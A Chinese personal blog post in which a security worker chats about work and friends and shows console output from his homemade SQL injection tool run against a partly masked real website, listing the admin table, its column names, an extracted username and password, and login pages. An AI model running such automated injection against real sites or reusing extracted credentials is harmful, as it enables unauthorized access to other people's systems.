家里的一台UNIX测试机挂了。。。磁力又不过来弄,郁闷。。。。强迫着做些有意义的事,写写东西吧,弄了个所谓的SQL注入测试工具,功能弱到飞起来了。。。刚刚才加了些东西上去,现在的是VERSION 1。2版本,还是什么功能都没有,准备把主要的代码结构都换一下,等成熟了再‘开源’,哈哈:D
最近在做个安全服务的单,费用不大,但还是有点工作量的,公司的扫描器熟了些了,但其他产品还。。。准备为客户订制一个加固的方案。。。但又害怕欠缺周详,今天一定要提起精神才行。。。
下周估计也要给客户做个培训,内容方面公司已经定好了,但允许我自由发挥,这点I LIKE IT~:)
最近私人时间不多,连XY7同志到了广州几天都没时间碰上一面,啊BAN与磁力各有各忙,倒是前些日子因为工作的关系常常见到lqm大大。
唉。。。等待。。。
C:\get>get.exe http://www.hXXXX.com.cn/news/1type.asp?news_id=433
**************************
* CopyRight By DemonAlex *
* demonalex@163.com *
**************************
"http://www.hXXXX.com.cn/news/1type.asp?news_id=433" have SQL Injection.
Now crack the table name...
Table: admin is exists !
Now crack the row name...
Row: user_pass is exists in Table: admin !
Row: user_name is exists in Table: admin !
Now crack length...
Table: admin -- Row: user_pass 's length is 10 !
Table: admin -- Row: user_name 's length is 5 !
Now crack the value...
h is 1 for Table: admin -- Row: user_pass !
a is 2 for Table: admin -- Row: user_pass !
o is 3 for Table: admin -- Row: user_pass !
d is 4 for Table: admin -- Row: user_pass !
i is 5 for Table: admin -- Row: user_pass !
a is 6 for Table: admin -- Row: user_pass !
d is 7 for Table: admin -- Row: user_pass !
m is 8 for Table: admin -- Row: user_pass !
i is 9 for Table: admin -- Row: user_pass !
n is 10 for Table: admin -- Row: user_pass !
a is 1 for Table: admin -- Row: user_name !
d is 2 for Table: admin -- Row: user_name !
m is 3 for Table: admin -- Row: user_name !
i is 4 for Table: admin -- Row: user_name !
n is 5 for Table: admin -- Row: user_name !
Now find the entry...
http://www.hXXXX.com.cn/login.asp is exists !
http://www.hXXXX.com.cn/logout.asp is exists !
http://www.hXXXX.com.cn/news/login.asp is exists !
http://www.hXXXX.com.cn/news/logout.asp is exists !
over.
Powered by Haiwit